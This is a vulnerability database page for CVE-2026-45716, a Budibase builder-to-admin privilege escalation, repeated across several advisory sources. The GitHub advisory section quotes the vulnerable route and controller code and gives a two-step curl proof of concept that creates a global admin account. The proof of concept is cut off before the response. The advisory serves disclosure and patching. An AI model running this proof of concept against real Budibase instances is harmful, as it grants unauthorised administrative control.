CVE-2026-45716
Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration
Budibase is an open-source low-code platform. Prior to 3.38.1, the POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. This vulnerability is fixed in 3.38.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration
Budibase is an open-source low-code platform. Prior to 3.38.1, the POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. This vulnerability is fixed in 3.38.1.
- Record
CVE-2026-45716- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
EUVDEUVD-2026-32602
8.8
Budibase is an open-source low-code platform. Prior to 3.38.1, the POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. This vulnerability is fixed in 3.38.1.
- Record
EUVD-2026-32602- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-c54j-xp92-wh28
8.8
Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration
Summary
The POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.
Details
The vulnerability stems from a mismatch between the authorization level of the onboardUsers endpoint and the user-creation capabilities it exposes when SMTP is not configured.
Route definition (packages/worker/src/api/routes/global/users.ts:93-109):
builderOrAdminRoutes // <-- allows builders, not just admins
.post(
"/api/global/users/onboard",
buildInviteMultipleValidation(),
controller.onboardUsers
)
Compare with the invite and inviteMultiple endpoints which are correctly admin-only:
adminRoutes // <-- admin only
.post("/api/global/users/invite", buildInviteValidation(), controller.invite)
.post("/api/global/users/multi/invite", buildInviteMultipleValidation(), controller.inviteMultiple)
Controller (packages/worker/src/api/controllers/global/users.ts:601-630):
export const onboardUsers = async (ctx) => {
if (await isEmailConfigured()) {
await inviteMultiple(ctx) // admin-only path (delegates to invite flow)
return
}
// No SMTP → directly create users with attacker-controlled roles
const users = ctx.request.body.map(invite => {
const password = generatePassword(12)
createdPasswords[invite.email] = password
return {
email: invite.email,
password,
forceResetPassword: true,
roles: invite.userInfo.apps || {},
admin: { global: !!invite.userInfo.admin }, // <-- attacker-controlled
builder: invite.userInfo.builder, // <-- attacker-controlled
tenantId: tenancy.getTenantId(),
}
})
let resp = await userSdk.db.bulkCreate(users)
for (const user of resp.successful) {
user.password = createdPasswords[user.email] // <-- password returned!
}
ctx.body = { ...resp, created: true }
}
Middleware pass-through (packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26):
In the worker context (env.isWorker() is true), when there is no workspaceId parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks !workspaceId && env.isWorker() — this is true, so it falls through to line 21 which only checks hasBuilderPermissions. Any global builder passes.
Validation gap (buildInviteMultipleValidation at line 37-45): The Joi schema validates userInfo as Joi.object().optional() with no constraints on its contents, so admin and builder fields pass through.
No downstream check: bulkCreate and buildUser do not strip or validate admin/builder fields — they are written directly to the user document in CouchDB.
PoC
Prerequisites: A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.
Step 1: Authenticate as a builder user and obtain the session cookie:
# Login as builder
curl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"builderpassword"}'
Step 2: Create a new global admin user via the onboard endpoint:
curl -s -X POST 'http://localhost:10000/api/global/users/onboard' \
-H 'Content-Type: application/json' \
-b cookies.txt \
-d '[{"email":"[email protected]","userInfo":{"admin":{"global":true}}}]'
Expected response (includes the…
- Record
GHSA-c54j-xp92-wh28- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
NVD
8.8
Budibase is an open-source low-code platform. Prior to 3.38.1, the POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. This vulnerability is fixed in 3.38.1.
- Record
CVE-2026-45716- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
OSV
8.8
Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration
Budibase is an open-source low-code platform. Prior to 3.38.1, the POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. This vulnerability is fixed in 3.38.1.
- Record
CVE-2026-45716- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
OSVGHSA-c54j-xp92-wh28
8.8
Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration
Summary
The POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.
Details
The vulnerability stems from a mismatch between the authorization level of the onboardUsers endpoint and the user-creation capabilities it exposes when SMTP is not configured.
Route definition (packages/worker/src/api/routes/global/users.ts:93-109):
builderOrAdminRoutes // <-- allows builders, not just admins
.post(
"/api/global/users/onboard",
buildInviteMultipleValidation(),
controller.onboardUsers
)
Compare with the invite and inviteMultiple endpoints which are correctly admin-only:
adminRoutes // <-- admin only
.post("/api/global/users/invite", buildInviteValidation(), controller.invite)
.post("/api/global/users/multi/invite", buildInviteMultipleValidation(), controller.inviteMultiple)
Controller (packages/worker/src/api/controllers/global/users.ts:601-630):
export const onboardUsers = async (ctx) => {
if (await isEmailConfigured()) {
await inviteMultiple(ctx) // admin-only path (delegates to invite flow)
return
}
// No SMTP → directly create users with attacker-controlled roles
const users = ctx.request.body.map(invite => {
const password = generatePassword(12)
createdPasswords[invite.email] = password
return {
email: invite.email,
password,
forceResetPassword: true,
roles: invite.userInfo.apps || {},
admin: { global: !!invite.userInfo.admin }, // <-- attacker-controlled
builder: invite.userInfo.builder, // <-- attacker-controlled
tenantId: tenancy.getTenantId(),
}
})
let resp = await userSdk.db.bulkCreate(users)
for (const user of resp.successful) {
user.password = createdPasswords[user.email] // <-- password returned!
}
ctx.body = { ...resp, created: true }
}
Middleware pass-through (packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26):
In the worker context (env.isWorker() is true), when there is no workspaceId parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks !workspaceId && env.isWorker() — this is true, so it falls through to line 21 which only checks hasBuilderPermissions. Any global builder passes.
Validation gap (buildInviteMultipleValidation at line 37-45): The Joi schema validates userInfo as Joi.object().optional() with no constraints on its contents, so admin and builder fields pass through.
No downstream check: bulkCreate and buildUser do not strip or validate admin/builder fields — they are written directly to the user document in CouchDB.
PoC
Prerequisites: A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.
Step 1: Authenticate as a builder user and obtain the session cookie:
# Login as builder
curl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"builderpassword"}'
Step 2: Create a new global admin user via the onboard endpoint:
curl -s -X POST 'http://localhost:10000/api/global/users/onboard' \
-H 'Content-Type: application/json' \
-b cookies.txt \
-d '[{"email":"[email protected]","userInfo":{"admin":{"global":true}}}]'
Expected response (includes the…
- Record
GHSA-c54j-xp92-wh28- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@budibase/workernpm |
before 3.38.1 | 3.38.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45716 is a high vulnerability (CVSS 8.8) in Budibase, published May 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 17th percentile. Fixed in @budibase/worker 3.38.1.
References
github.com/Budibase/budibase/security/advisories/GHSA-c54j-xp92-wh28
github.com/Budibase/budibase/releases/tag/3.38.1
nvd.nist.gov/vuln/detail/CVE-2026-45716
github.com/advisories/GHSA-c54j-xp92-wh28
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45716.json
github.com/Budibase/budibase
Left out here: the rest of 2 source descriptions. The JSON record has them.